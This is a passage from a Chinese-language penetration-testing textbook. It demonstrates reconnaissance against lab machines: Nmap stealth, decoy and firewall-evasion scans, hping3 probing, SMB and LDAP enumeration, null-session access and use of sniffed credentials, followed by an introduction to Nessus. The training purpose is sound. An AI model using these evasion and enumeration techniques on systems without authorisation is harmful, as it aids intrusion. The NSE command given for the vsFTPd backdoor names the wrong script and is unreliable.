有时,在渗透测试期间,您可能需要识别网络上的所有活动主机。Nmap 能够在多个目标上执行 ping 扫描,无论是指定范围还是整个子网。使用-sn操作符将允许您仅对目标执行 ping 扫描:

使用 Nmap 进行 ping 扫描

在前面的片段中,Nmap 只呈现了它认为在网络段上是活动的主机,并且能够查找每个主机的 MAC 地址以确定供应商。

  • 如果您想要执行范围扫描,可以使用以下语法:nmap start ip addr - end ip addr

  • 如果您想要扫描网络上的特定 IP 设备,请使用以下语法:nmap host1 host2 host3

  • Nmap 还支持使用以下语法扫描列在文本文件中的主机:nmap –iL file.txt

现在让我们提升一下,学习更多关于如何在接下来的部分中使用 Nmap 的知识。

使用 Nmap 获取操作系统和服务版本

到目前为止,我们已经能够收集有关目标的基本信息。我们可以使用 Nmap 帮助用户确定操作系统、操作系统版本以及目标上运行的应用程序的服务版本。

使用-A操作符将启动一个侵略性扫描,-O将对操作系统进行概要分析,-sV将识别服务版本。

执行一种侵入式扫描可能会被侵入检测系统/侵入预防系统IDS/IPS)或防火墙设备标记。要小心,因为渗透测试的一个重要部分是尽可能保持安静,以避免被发现。

在我们的目标系统 Metasploitable VM 上使用nmap -A -O -sV target命令,我们将能够获得关于目标的更有意义的信息。

正如您在以下片段中所看到的,对于每个开放的端口,Nmap 已经确定了在该端口上运行的特定服务,并且我们还能够检索应用服务版本的详细信息:

操作系统和服务版本

在输出中再向下滚动一点,我们可以看到,通过使用-O参数,Nmap 能够确定操作系统的类型:

检测内核版本

到目前为止,我们对我们的目标 Metasploitable VM 有了更好的了解。我们知道所有开放的端口、服务和当前正在运行的服务版本,以及操作系统。

Nmap 很棒,不是吗?让我们学习如何使用 Nmap 扫描禁用了 ICMP 的设备。

扫描禁用 ICMP 的主机设备

当 Nmap 要对主机执行扫描时,它会向主机发送一个 ping 数据包来确定目标是否存活。如果目标不响应,Nmap 将不会尝试执行扫描。然而,系统管理和网络安全专业人员通常会在服务器上禁用Internet 控制消息协议ICMP)响应。从目标那里收不到 ICMP 回显回复将表明目标设备已关闭/离线;然而,这种技术旨在基本上欺骗一个新手黑客,让他认为主机根本不可用。在 Nmap 扫描期间使用-Pn操作符将跳过主机发现阶段,并将目标视为在线。

以下是一个例子:

nmap -Pn 10.10.10.100

在渗透测试期间,如果您无法在网络上发现活动主机,不要过分担心,因为网络安全专业人员倾向于在其终端设备和网络上应用安全控制。Nmap 可以检测隐藏的系统,绕过防火墙和网络嗅探器,以检测主机上的安全漏洞。

在执行扫描时,目标很可能会知道正在进行端口扫描的是攻击者还是渗透测试人员。在接下来的部分中,我们将描述如何使用 Nmap 执行隐秘扫描。

使用 Nmap 执行隐秘扫描

默认情况下,Nmap 会在找到的任何开放的 TCP 端口上建立TCP 三次握手。握手建立后,消息被交换。以下片段显示了握手过程,其中主机 A想要与主机 B通信:

TCP 三次握手

在渗透测试期间,我们需要尽可能保持在网络上隐秘。这会产生一个实际黑客试图在不被组织的安全控制和系统发现的情况下入侵系统/网络的效果。通过与我们的目标设备建立 TCP 三次握手,我们让自己对目标设备有所了解。

因此,我们将使用 Nmap 执行隐秘扫描(半开放)。隐秘扫描不会与目标建立完整的 TCP 握手。

  1. 攻击者机器通过向目标发送 TCP SYN 数据包来欺骗目标,如果目标上的特定端口是开放的。

  2. 一个 TCP SYN/ACK 数据包被返回给攻击者机器。

  3. 最后,攻击者发送一个 TCP RST 数据包来重置目标上的连接状态:

隐秘扫描

在我们的练习中,我们将使用 Nmap 对我们的 Metasploitable VM 上的端口80进行隐蔽扫描。使用-sS操作符表示隐蔽扫描,并使用-p操作符扫描(探测)特定端口,我们可以在我们的 Kali Linux 机器上执行nmap -sS -p 80 10.10.10.100命令:

使用 Nmap 进行隐蔽扫描

使用 Wireshark,我们能够看到我们的 Kali Linux 机器和目标之间的数据包流动。数据包编号 18 表明一个[SYN]数据包被发送到 Metasploitable VM,数据包编号 19 表明一个[SYN, ACK]数据包被返回到 Kali Linux 机器,最后,数据包编号 20 表明我们的 Kali Linux 机器发送了一个[RST]数据包来重置连接:

在 Wireshark 中检测到隐蔽扫描

最终结果是我们成功地探测了目标系统上的一个端口,并没有在我们的机器和目标之间建立网络会话。

有许多服务和协议使用 UDP 作为首选的传输方法。UDP 应用默认不会响应典型的端口扫描。每当使用 Nmap 执行网络/端口扫描时,默认情况下扫描引擎会搜索开放的 TCP 端口;这意味着 UDP 端口通常在结果中被忽略。在下一节中,我们将看一下如何执行 UDP 端口扫描。

使用 Nmap 扫描 UDP 端口

有许多应用层协议使用用户数据报协议UDP)作为其首选传输协议。使用-sU操作符将指示需要对给定目标执行 UDP 端口扫描。使用以下命令,我们可以完成这个任务:

nmap -sU target

我们现在已经掌握了在目标设备或网络上执行 UDP 扫描的技能。在下一节中,我们将看一下如何使用 Nmap 规避安全设备和检测。

使用 Nmap 规避检测

每当一个数据包从一个设备发送到另一个设备时,源 IP 地址都包含在数据包的头部。这是 TCP/IP 协议栈的默认行为;所有地址细节必须包含在需要穿越网络的所有数据包中。在对目标进行网络扫描时,我们的源 IP 地址包含在我们的机器 Kali Linux 发送到目标的所有数据包中。

Nmap 有能力使用伪装来欺骗目标,使其相信网络扫描是来自多个源而不是单个源 IP 地址。-D操作符后面跟着随机 IP 地址,这些是伪装。假设我们想要扫描一个 IP 地址10.10.10.100,并设置三个伪装:10.10.10.1410.10.10.1510.10.10.19。我们可以使用以下命令:

nmap -sS 10.10.10.100 –D 10.10.10.14, 10.10.10.15, 10.10.10.19

观察以下 Wireshark 捕获,我们可以看到在目标上进行端口扫描时,包含我们源 IP 地址和伪装 IP 地址的数据包被使用:

在 Wireshark 中检测伪装

然而,一个 RST 数据包是从实际的源地址发送的。此外,我们还可以使用其他操作符,如--spoof-mac来伪装源 MAC 地址。

在下一节中,我们将学习如何在使用 Nmap 执行网络扫描时规避防火墙检测。

使用 Nmap 规避防火墙

在您作为网络安全专业人士、渗透测试人员或道德黑客的职业生涯中,您经常会遇到一些组织——无论是小型、中型还是大型企业——在其网络基础设施上都有某种防火墙设备或软件。

防火墙可以阻止网络扫描并给我们作为渗透测试人员带来挑战。以下是可以在 Nmap 中使用的各种操作符来规避防火墙:

Nmap 的防火墙规避操作符

此外,我们可以发送带有特定标志的自定义探测到目标并分析响应。

在接下来的部分中,我们将看看如何确定网络上是否存在有状态防火墙。

检查有状态防火墙

在检查有状态防火墙时,我们可以向目标发送一个启用了 ACK 标志的探测。 如果目标没有提供响应,这将表明存在防火墙:

有状态防火墙存在

但是,如果返回的数据包设置了 RST 标志,这将表明目标系统上没有防火墙:

防火墙状态不明

我们可以使用 Nmap 上的–sA运算符对目标执行 ACK 扫描。 让我们对我们的 Metasploitable VM 执行扫描,以确定端口80是否打开,以及系统是否存在防火墙:

  1. 使用nmap -sA -p 80 <target>命令:

使用 Nmap 进行 ACK 扫描

  1. 我们能够确定端口80在目标上是打开且未经过滤(没有防火墙)。 此外,通过观察数据包,我们看到 RST 数据包返回到我们的 Kali Linux(攻击者)机器:

Wireshark 中显示的端口扫描

每当您对目标进行扫描并且结果表明filtered时,这意味着存在防火墙,并且它正在积极监视端口,如下图所示:

使用 Nmap 检测过滤端口

此外,以下运算符可用于确定系统上是否存在防火墙:

运算符 描述
-sX 执行 XMAS 扫描。 URG,FIN 和 PSH 标志都已设置。
-sF 执行 FIN 扫描。 仅设置 FIN 标志。
-sN 执行 Null 扫描。 没有设置标志。

额外的 Nmap 运算符

Nmap 将解释响应并确定目标上的端口是否经过过滤或未经过过滤。

完成了本节后,您现在可以使用 Nmap 对目标进行分析。 在下一节中,我们将学习Nmap 脚本引擎NSE)。

NSE 脚本

NSE 是 Nmap 中最强大的功能之一。 它允许用户创建和自动化脚本,以执行针对目标设备的定制扫描。 通过使用各种 Nmap 脚本执行扫描,您可以快速检测目标是否容易受到已知漏洞,恶意软件,开放后门等的攻击。

以下是 NSE 脚本的主要类别:

NSE 类别

要执行整个脚本类别,我们可以使用--script category命令。 以下代码片段是在 Nmap 扫描期间使用vuln脚本类别的示例:

使用 NSE 找到的漏洞

运行整个脚本类别可能并不总是适用于各种情况。 如果您正在执行扫描以搜索包含特定漏洞的系统,例如vsFTPd 2.3.4 后门(CVE-2011-2523),您可以使用以下命令:

nmap --script ftp-proftpd-backdoor target

每个 NSE 脚本都存储在 Kali Linux 的/usr/share/nmap/scripts目录中。 但是,您应该熟悉使用 NSE 脚本,因为这将帮助您节省时间,并更快地找到有关目标的特定信息。 为了帮助您进一步了解 NSE 脚本,请访问官方 NSE 文档网站nmap.org/nsedoc/。 该存储库包含每个 NSE 脚本的详细描述。

完成了关于 Nmap 和 NSE 的本节,现在让我们学习 Nmap 的 GUI 版本 Zenmap。

Zenmap

Zenmap 是 Nmap 的图形用户界面(GUI)版本,并支持多个平台,如 Windows、Linux 和 macOS。Zenmap 的创建是面向初学者的,因为它比 Nmap 的传统命令行界面更容易使用。要在您的系统上下载 Zenmap,请访问nmap.org/zenmap/

以下显示了 Zenmap 界面。它非常简单易用:只需输入目标并选择要执行的扫描类型。根据您选择的扫描类型,将在命令字段中设置必要的 Nmap 操作符。

为了演示,让我们通过观察以下步骤在我们的 Metasploitable VM 上进行快速扫描:

  1. 输入我们目标的 IP 地址。

  2. 从配置文件菜单中选择快速扫描选项。

  3. 单击扫描开始,如下图所示:

Zenmap 界面

扫描完成后,单击每个选项卡以获取有关目标的更多详细信息。如果您正在对整个网络进行扫描,拓扑选项卡将帮助您创建目标网络的网络图。

可以通过以下步骤在 Zenmap 上创建自定义扫描配置文件:

  1. 要创建新的扫描配置文件,请单击配置文件|新配置文件或命令。

  2. 配置文件编辑器将打开,为您提供 Nmap 扫描的所有选项,如下图所示:

Zenmap 配置文件编辑器

一定要访问每个选项卡,并熟悉各种可用的选项,因为它们将在将来有用。

正如您所看到的,Zenmap 非常易于使用和用户友好。在下一节中,我们将学习另一个工具 Hping3,用它来执行扫描。

Hping3

Hping3 是一个命令行工具,允许用户分析网络上的 TCP/IP 消息。此外,Hping3 允许我们组装网络数据包,这对于渗透测试人员在执行设备和服务发现以及攻击性行动(如拒绝服务攻击)时可能有益。

Hping3 是一个可以执行以下任务的工具:

  • 在网络上进行主机发现

  • 指纹识别主机设备以确定服务

  • 嗅探网络流量

  • 洪水包(DoS)

  • 文件传输

如前一节所述,有许多服务器和设备禁用了 ICMP 响应作为安全预防措施。我们可以使用 Hping3 来探测目标系统上的一个端口,以强制 ICMP 响应返回到我们的攻击者机器。

要开始使用 Hping3,让我们使用以下步骤在端口80上执行端口扫描:

  1. 我们使用ping实用程序向我们的 Windows 服务器机器(启用防火墙并禁用 ICMP)发送四个 ICMP 回显请求消息:

对目标进行 ping

  1. 我们的攻击者机器(Kali Linux)没有从目标那里收到任何响应。一个新手黑客可能会认为目标已离线,并可能会离开。但是,使用 Hping3 来探测特定端口,发送 SYN 数据包将迫使目标显露自己。使用hping3 -S 目标 ip 地址 -p 端口 -c 2语法,我们得到以下响应:

使用 Hping3 进行端口扫描

通过查看我们的结果,我们可以看到我们已经从目标那里收到了成功的响应。这意味着10.10.10.14设备在线,并且端口80是开放的。

-S操作符表示发送 SYN 数据包,-p允许您指定目标端口号,-c指定要发送的数据包数量。

  1. 此外,我们可以进一步采取一步行动,通过在目标设备上的一系列网络端口上执行端口扫描。使用hping3 -8 20-1000 -S 10.10.10.14命令,我们能够在目标上的端口范围20-1000上执行 SYN 扫描。以下片段表明我们的目标上的端口80135139445902912是开放的:

使用 Hping3 进行隐形扫描

在使用 Hping3 时,还有许多可以组合的操作符;请务必使用终端上的hping3 -h命令查看帮助菜单。

现在您已经熟悉了使用 Hping3 作为扫描器,让我们深入研究在目标设备上执行枚举。

SMB、LDAP 枚举和空会话

在本节中,我们将研究使用各种应用程序协议来帮助我们从目标系统中提取敏感数据和记录。

SMBmap 和 SMBclient

SMBmap是一个流行且易于使用的工具,用于帮助我们发现设备上的任何 SMB 共享并检测任何发现的共享的权限:

  1. 使用smbmap -H target语法,我们可以尝试执行端口扫描,寻找 SMB 服务使用的端口;在我们的目标上,它是445,并且是开放的:

SMB 共享

  1. SMBmap 将尝试在攻击者机器和目标端口445之间建立会话,以枚举任何共享驱动器和文件夹。在我们的目标(Metasploitable)上,有一个tmp文件夹,它给予我们读写权限。

  2. 使用smbmap -H 10.10.10.100 -r tmp命令,我们将能够列出指定目录的内容。在我们的示例中,我们正在列出tmp文件夹的内容,如下截图所示:

SMBmap 枚举

SMBmap 是一个枚举目标设备上 SMB 共享的绝佳工具;然而,始终最好在您的工具库中有另一个工具可用。其他工具包括 SMBlookup、SMBclient 和 Nmap。

有关 SMBmap 的更多信息,请访问:tools.kali.org/information-gathering/smbmap

SMBclient是另一个方便的工具,工作方式类似于 SMBmap。要在目标上枚举 SMB 服务,我们可以使用smbclient -L //target命令:

SMBclient 枚举

SMBclient 将尝试提取目标设备上的任何共享,如前面的截图所示。有关 SMBclient 的更多信息,请访问:www.samba.org/samba/docs/current/man-html/smbclient.1.html

完成了本节后,您已经掌握了使用 SMBmap 和 SMBclient 在目标上执行 SMB 枚举的技能。在下一节中,我们将简要讨论另一个流行的 SMB 枚举工具 Enum4linux。

Enum4linux

Enum4linux是一种枚举工具,能够检测和提取 Windows 和 Linux 操作系统上的数据,包括网络上的SambaSMB)主机。Enum4linux 能够发现以下内容:

  • 目标上的密码策略

  • 远程目标的操作系统

  • 设备上的共享(驱动器和文件夹)

  • 域和组成员资格

  • 用户列表

要扫描目标,请使用以下命令:enum4linux target。该工具将执行所有可能的检查和枚举。一开始输出可能有点压倒性:一定要仔细检查细节,因为它们将包含有关目标的有意义信息。

Enum4linux 有时会派上用场,用于在网络上执行扫描以发现任何共享资源。在下一节中,我们将深入探讨 Windows 网络上的 LDAP 枚举。

LDAP 枚举

轻量级目录访问协议LDAP)用于查询数据库或目录类型的服务。一个常见的例子是一个拥有Active DirectoryAD)服务器的企业环境,该服务器管理整个组织的用户账户。诸如台式电脑之类的终端设备需要在每次用户尝试登录到该台式电脑时查询 AD 服务器。

LDAP 默认使用端口389;然而,数据包以明文形式在网络上传输。另外,使用LDAPSLDAP 安全)确保了在客户端和 LDAP 服务器之间发送的信息默认是加密的;LDAPS 默认使用端口636。我们可以使用 Nmap 扫描在网络上具有端口389636开放的设备。

我们可以使用一个名为 JXplorer(jxplorer.org)的工具来执行 LDAP 枚举。这个工具不是在 Kali Linux 中原生安装的,因此,我们需要从它的 GitHub 存储库中下载并运行它。

要开始 LDAP 枚举,让我们使用以下步骤:

  1. 使用以下命令来下载和执行这个工具:
git clone https://github.com/pegacat/jxplorer.git cd jxplorer chmod +x jxplorer.sh ./jxplorer.sh
  1. 一旦成功执行./jxplorer.sh脚本,用户界面将会打开。点击连接图标(位于文件下方)来插入你的目标的详细信息:

JXplorer 界面

在我们的实验室中,我们有一台 Windows Server 机器,配置如下:

  • 已安装 Active Directory 域服务

  • 已安装 Active Directory 轻量级目录服务

  • 域:pentestlab.local

  • 创建的用户账户:bob(属于域管理员用户组)

假设,在渗透测试期间,通过使用数据包嗅探工具如 Wireshark,你能够在用户尝试对 AD 服务器进行身份验证时捕获用户凭据,你可以在前面的截图中的安全字段中使用这些用户账户。

使用管理员用户账户将提供在 JXplorer 中提取信息所需的权限;你将能够从 Active Directory 服务器中枚举敏感信息,如下图所示:

使用 JXplorer 进行 LDAP 枚举

你将能够从你的攻击者机器上查看整个目录并提取敏感信息。如果服务只使用 LDAPS,这将是一个挑战,因为用户凭据将被隐藏。

完成了这个练习之后,让我们在下一节中使用rpcclient工具执行一个空会话攻击。

空会话

在一个空会话中,攻击者能够使用一个空账户登录到目标。空账户是一个实际上并不存在的账户。这是怎么可能的呢?一些系统容易受到允许匿名登录的漏洞。一旦用户能够匿名登录,空用户就能够检索存储在目标上的敏感信息。

我们可以尝试从我们的 Kali Linux 机器(攻击者)到目标 Metasploitable 上进行一个空会话枚举,使用rpcclient -U "" 10.10.10.100命令,如下图所示:

空会话攻击

使用srvinfo命令,目标将会向我们返回它的操作系统类型。要获取查询命令的完整列表,你可以使用rpcclient --help命令。另外,你可以访问www.samba.org/samba/docs/current/man-html/rpcclient.1.html

请记住,并非所有的机器都容易受到这种类型的攻击,但在渗透测试中执行这种攻击仍然是值得的。在下一节中,我们将讨论通过嘈杂的身份验证控制进行用户枚举。

通过嘈杂的身份验证控制进行用户枚举

枚举是黑客或渗透测试人员尝试对目标系统执行暴力攻击以猜测或确认有效用户的技术。一个简单的例子是,恶意用户或渗透测试人员在电子邮件门户上执行密码猜测或暴力攻击。

以下是一个典型登录门户的示例。以下截图中显示的凭据是一个示例,不是真实的:

攻击者可以尝试各种可能的用户名和密码组合,直到找到一个有效的用户。然而,这种攻击被认为是喧闹的而不是隐秘的。作为比较,想象一下你在玩一个在线第一人称射击游戏,你的任务是入侵敌人的基地并偷走一个奖杯而不引起警卫的注意。如果你不够小心并发出任何大声的声音,警卫就会被警觉,任务就会失败。在这个类比中,警卫是安全控制,传感器是防火墙、IDS/IPS 和反恶意软件保护。因此,这种技术在网络上并不是安静的;然而,这种方法仍然可以让你访问系统,前提是安全控制在你获得访问权限之前不执行锁定操作。

很多时候,当用户在登录门户上输入错误的用户名时,通常会返回一个错误消息,通常说明已输入了错误的用户名。这清楚地告诉攻击者,提供的用户名在数据库中不存在。此外,如果输入了错误的密码,系统通常会返回一条消息,说明为该用户名输入了错误的密码。因此,从攻击者的角度来看,系统告诉我们,用户名存在于数据库中,但我们没有为它提供正确的密码。

现在,Web 开发人员和安全专业人员在用户名或密码不正确时都包含了通用响应,类似于这样的消息:用户名/密码不正确。这条消息并没有明确说明哪个值是正确的或不正确的。

现在您对喧闹的身份验证控件有了更好的理解,让我们尝试在下一节中执行 Web 枚举。

使用 EyeWitness 进行 Web 足迹和枚举

EyeWitness是一个允许渗透测试人员在不离开终端的情况下捕获网站截图的工具——该工具在后台完成所有工作。想象一下需要对多个网站进行视觉配置文件、打开虚拟网络计算VNC)服务器和使用远程桌面协议RDPs)的情况。这可能是一个耗时的任务。EyeWitness 拍摄截图,将它们存储在离线状态,并提供 HTML 报告:

  1. 首先,您需要使用git clone https://github.com/FortyNorthSecurity/EyeWitness.git从其 GitHub 存储库下载 EyeWitness。

  2. 下载完成后,访问root/EyeWitness/setup目录,并使用以下命令序列运行setup.sh脚本:

EyeWitness 设置屏幕

  1. 设置过程完成后,使用cd ..命令进入root/EyeWitness目录。要对单个网站进行截图,使用以下命令:
./EyeWitness.py --web --single example.com 

您可以在 Metasploitable 或 OWASP BWA 虚拟机上的一个 Web 应用程序上尝试这个工具。

EyeWitness 允许您使用--web--rdp--vnc--all-protocols等操作符指定各种协议。

  1. 任务完成后,EyeWitness 将指示是否成功捕获了目标的截图,并为您提供离线报告的位置,如下图所示:

EyeWitness 报告向导

  1. 打开 HTML 报告后,左侧列包含有关 Web 请求的信息,而右侧列包含截图:

EyeWitness 的报告

这个工具在同时对多个服务和网站进行概要分析时非常方便。

有关 EyeWitness 的更多信息,请访问tools.kali.org/information-gathering/eyewitness

现在您已经完成了这一部分,可以使用 EyeWitness 工具执行 Web 枚举。

Metasploit 辅助模块

Metasploit 是由 Rapid7 创建的开发利用框架(www.rapid7.com)。Metasploit 包含许多用于渗透测试的功能和功能。有许多模块,如 exploits、payloads、encoders 和 auxiliary。辅助模块包含端口扫描器、网络嗅探器、模糊器等,以便于渗透测试的信息收集阶段:

  1. 要访问 Metasploit 界面,请打开一个新的终端并执行以下命令:
service postgresql start msfconsole
  1. 一旦用户界面加载,show auxiliary命令将提供 Metasploit 中所有辅助模块的列表。让我们用一个简单的例子来演示如何使用模块:假设您想对目标进行隐秘(SYN)扫描。您可以开始选择一个模块。

  2. 使用use auxiliary/scanner/portscan/syn命令。

  3. 使用show options命令检查描述和要求。

  4. 此模块要求配置远程主机;使用set RHOSTS target命令。

  5. 要执行模块,请使用run命令。

  6. 以下截图演示了对我们的 Windows 服务器(10.10.10.14)进行隐秘扫描的结果底部显示了找到的各种开放端口:

  1. 此外,在 Metasploit 中搜索模块时,使用search keyword语法非常有用,因为框架中有许多不同的模块,学习它们都可能非常具有挑战性和压倒性。

在本书的后续章节中,我们将深入探讨如何使用 Metasploit 在我们的实验室中对目标设备进行利用。

摘要

在本章中,我们使用了各种 DNS 询问技术,使用各种工具发现了重要的服务器、子域和 IP 地址,并成功地从 DNS 服务器(区域传输)中提取了区域文件,因为目标 DNS 服务器的配置错误。

然后,我们使用 Nmap 执行各种类型的端口扫描,以确定端口状态、运行服务及其版本以及目标操作系统;我们还得知了目标是否有防火墙。最后,为了结束本章,我们执行了 SMB 和 LDAP 枚举,以收集网络设备上的用户共享和目录记录。

现在您已经完成了本章,您将能够成功地在易受攻击的 DNS 服务器上执行 DNS 区域传输;对系统进行概要分析,发现其操作系统、运行服务和安全漏洞;在执行网络扫描时规避检测;并在目标上执行 LDAP 和系统枚举。您还获得了同时对多个网站进行视觉概要分析的技能。希望本章对您学习渗透测试的旅程有所帮助。

在第七章中,使用漏洞扫描器,我们将介绍使用漏洞扫描器查找目标上的安全漏洞和缺陷的重要性。

问题

以下是基于本章内容的一些问题:

  1. 使用 DNS 的主要目的是什么?

  2. DNS 区域传输是什么意思?

  3. 什么工具允许我们对目标系统进行扫描,并确定其运行的服务和操作系统?

  4. 在扫描期间使用了什么方法来规避防火墙?

  5. 可以用什么工具来枚举 Active Directory?

进一步阅读

第三部分:使用 Kali Linux 2019 进行漏洞评估和渗透测试

本节向读者介绍了各种漏洞扫描器及其目的和功能,以及渗透测试,并帮助识别系统或网络中的安全漏洞以及如何利用它们。

此外,读者将通过使用 Kali Linux 2019 中的各种工具获得实际的渗透测试技术和方法。读者将被带过所有相关阶段,从发现目标上的漏洞到利用各种操作系统和 Web 应用程序。

本节包括以下章节:

  • 第七章,使用漏洞扫描器

  • 第八章,理解网络渗透测试

  • 第九章,网络渗透测试-连接前攻击

  • 第十章,网络渗透测试-获取访问权限

  • 第十一章,网络渗透测试-连接后攻击

  • 第十二章,网络渗透测试-检测和安全

  • 第十三章,客户端攻击-社会工程

  • 第十四章,执行网站渗透测试

  • 第十五章,网站渗透测试-获取访问权限

  • 第十六章,最佳实践

第七章:使用漏洞扫描器

在渗透测试期间,发现和分析安全漏洞起着重要作用。在渗透测试人员或道德黑客成功启动攻击之前,他们必须能够识别攻击表面上的安全弱点。攻击表面是攻击者可以尝试进入或从系统中获取数据的区域。快速识别漏洞并获得严重性评级的战略方法是使用已知和知名的漏洞扫描器。

有许多知名的漏洞扫描器,如 Acunetix、OpenVAS、Qualys、Nexpose、Nikto、Retina Network Security Scanner 和 Nessus 等。了解所有这些工具是一个好主意,但您不希望运行每个工具,因为其中一些是商业和订阅服务。

选择漏洞扫描器作为首选选择非常重要,因为有很多时候产品供应商可能无法及时提供更新以检测系统中的威胁和弱点,这对于您作为渗透测试人员可能至关重要。想象一下运行扫描以确定系统是否容易受到特定攻击的影响,而您使用的工具不包含签名更新以检测此类漏洞;结果可能不会有成果。

在本章的过程中,我们将探讨使用 Nessus 作为我们首选的漏洞扫描器。

在本章中,我们将探讨以下漏洞评估工具和主题:

  • Nessus 及其策略

  • 使用 Nessus 进行扫描

  • 导出 Nessus 结果

  • 分析 Nessus 结果

  • 使用 Web 应用程序扫描器

技术要求

以下是本章的技术要求:

Nessus 及其策略

Nessus 是业内最知名和知名的漏洞扫描器之一,被许多网络安全专业人士使用。它已成为网络安全专业人员进行漏洞评估的事实行业标准。使用 Nessus 的一些好处包括以下内容:

  • 发现超过 45,000 个通用漏洞和公开漏洞CVE

  • 包含超过 100,000 个插件(用于发现漏洞)

  • 频繁更新新插件以发现新披露的漏洞

  • 能够识别过去三年中超过 100 个零日漏洞

让我们登录到我们的 Kali Linux 机器上的 Nessus;首先,您需要在终端窗口中使用以下命令启用 Nessus 服务:

service nessusd start

一旦成功启用服务,在 Kali Linux 中打开 Web 浏览器,输入https://localhost:8834到地址栏中,然后点击Enter。您应该看到以下登录门户网站:

使用您在设置过程中创建的用户帐户登录。登录后,主要仪表板可用。在这里,您可以配置和访问策略和插件规则,创建新扫描并查看结果。Nessus 用户界面是一个非常简单易用的界面,您很快就会非常熟悉它。

Nessus 策略

在 Nessus 应用程序中,有许多现有的策略用于各种目的,并且新策略经常添加到数据库中。Nessus 策略是控制对目标系统进行扫描的技术方面的参数。更进一步地说,扫描的技术方面可能包括要扫描的主机设备数量、端口号和服务、协议类型(TCP、UDP 和 ICMP)、端口扫描器的类型等。

Nessus 策略还允许在基于 Windows 的操作系统、Oracle 平台等数据库应用程序以及 FTP、POP 和 HTTP 等应用层协议上使用凭据(用户名和密码)进行本地扫描。

有预安装的策略,可帮助安全从业者对系统执行合规性审计。一个例子是检查处理付款卡交易的网络是否容易受攻击,使用内部 PCI 网络扫描。该策略将根据PCI 数据安全标准PCI DSS)检查任何漏洞。

Nessus 策略允许通过将哈希校验和与目标系统上的良性和恶意文件进行比较,来扫描 Windows 操作系统上的恶意软件感染。当确定网络上感染某种恶意软件的主机数量时,该策略非常方便。

要开始使用 Nessus 上的策略,请确保您当前已登录 Nessus。在左侧窗格中,单击策略。以下屏幕截图显示了 Nessus 家庭版中当前可用的策略。但是,如果您想解锁其他插件和策略,您需要获取专业版:

如前所述,策略包含了预定义的配置,用于扫描目标以寻找特定的漏洞,并确保系统符合合规标准。但是,作为安全专业人员,您需要自定义自己的扫描策略,以对各种类型的系统进行漏洞评估。

使用 Nessus 进行扫描

使用 Nessus 进行漏洞扫描非常简单。在本节中,我将指导您完成创建自定义扫描的过程。

要创建新的扫描,请使用以下过程:

  1. 在右上角,单击新扫描按钮,如下图所示:

  1. 您可以选择使用其中一个可用的预定义策略。如果要为目标创建自定义扫描,请选择高级扫描策略,如下图所示:

  1. 策略/扫描向导将打开,为您提供许多选项来自定义新的扫描。在常规选项卡上,确保您输入名称和描述,因为它们将有助于识别此新扫描/策略的目的;一定要包括您的目标:

  1. 您将有选项来安排扫描/策略应该运行的频率:一次、每天、每周、每月或每年。此功能允许自动运行定期漏洞扫描目标系统。如果决定为扫描创建时间表,可以使用选项设置日期和时间、时区以及重复频率:

  1. 如果您想接收有关扫描状态的电子邮件通知,只需单击通知选项卡并输入收件人的电子邮件地址。但是,请确保您已配置了 SMTP 服务器设置,该设置将处理电子邮件通知的传递。

  2. 要访问 SMTP 服务器设置,请转到https://localhost:8834/#/settings/smtp-server

发现选项卡包含以下选项:

    • 主机发现:提供了使用 ping 方法(ARP、TCP、UDP 和 ICMP)发现网络上的主机设备的可用选项,发现网络打印机、Novell NetWare 主机和运营技术设备。
  • 端口扫描:提供了可自定义的选项,用于扫描一系列端口或单个端口,使用netstat工具和简单网络管理协议SNMP)对安全外壳SSH)、Windows 管理工具WMI)进行枚举。对 TCP 和 UDP 端口进行网络扫描和隐蔽扫描。

  • 服务发现:允许将每个发现的服务映射到端口号。

评估选项卡包含以下选项:

    • 暴力破解:对 Oracle 数据库进行暴力破解测试,并尝试使用 Hydra 登录网站。
  • Web 应用程序:Web 应用程序漏洞测试。

  • Windows:尝试枚举域和本地用户帐户。

  • 恶意软件:扫描恶意软件。

以下截图显示了前一节中概述的选项:

  1. 完成自定义策略后,点击保存。新策略/扫描将在“我的扫描”文件夹(左侧面板)中可用。要启动新创建的策略/扫描,点击扫描,然后选择启动。

现在您已经了解了如何使用 Nessus 进行扫描,让我们深入了解 Nessus 在下一节中产生的结果。

导出 Nessus 结果

每当扫描完成后,我们可以简单地点击它以访问一个非常好的带有统计数据的仪表板。以 PDF、HTML、CSV 等各种格式导出结果非常简单。导出结果将允许您离线保存报告。这对于渗透测试人员来说非常有益,无论是在以后重新查看漏洞评估细节,还是向相关人员(客户或团队成员)提供报告。

要导出 Nessus 扫描的结果,请按照以下步骤进行:

  1. 打开扫描,然后点击导出:

  1. 您可以选择输出格式。然后,导出向导将提供另一个选项,生成最终输出作为执行摘要或根据个人偏好定制报告:

  1. 如果您选择创建自定义报告,以下选项可用:

执行报告更适合不关心漏洞评估的所有技术细节而更关心报告主要概述的高级管理人员。根据所需和读者的兴趣,可以使用自定义报告来包含或删除特定细节。

以下是在我们实验室的 Metasploitable VM 上进行漏洞扫描生成的执行报告的样本:

如您所见,对于在目标上发现的每个漏洞,都会分配一个严重性评级和分数。通用漏洞评分系统CVSS)是一个定量的漏洞评分系统,可帮助安全专业人员确定威胁、利用甚至安全弱点的严重性。

有关 CVSS 的更多信息可以在 FIRST 网站上找到www.first.org/cvss/

在本节中,您已经了解了导出 Nessus 结果的各种格式,离线导出报告的好处以及报告类型。在接下来的部分,我们将深入分析 Nessus 提供的输出/结果。

分析 Nessus 结果

使用 Nessus 创建和执行漏洞扫描非常容易;然而,在分析阶段最需要的是网络安全专业人员的思维方式。Nessus 使结果的分析变得容易。扫描完成后,您可以通过选择漏洞选项卡查看发现的漏洞列表,如下截图所示:

现在,我们能够看到在目标上发现的漏洞列表。Nessus 为我们提供了严重性评级、漏洞名称和发现数量:

要获取有关漏洞的更多详细信息,请单击特定漏洞,例如在前面的截图中突出显示的漏洞。Nessus 将为您提供所选漏洞的详细描述、风险信息、插件详细信息、补救措施和外部参考,如下截图所示:

使用这些信息,渗透测试人员可以快速识别目标上的最薄弱点,并在选择有效载荷以利用目标时缩小范围。

现在您对 Nessus 及其功能有了牢固的理解。在下一节中,我们将使用各种 Web 应用程序扫描器来帮助我们检测目标服务器上的 Web 漏洞。

使用 Web 应用程序扫描器

Web 应用程序扫描器主要专注于检测和识别 Web 服务器、网站和 Web 应用程序上的漏洞。在您的网络安全职业生涯中,无论是作为渗透测试人员还是安全从业者,您可能会被要求对目标网站或 Web 服务器执行某种安全审计。

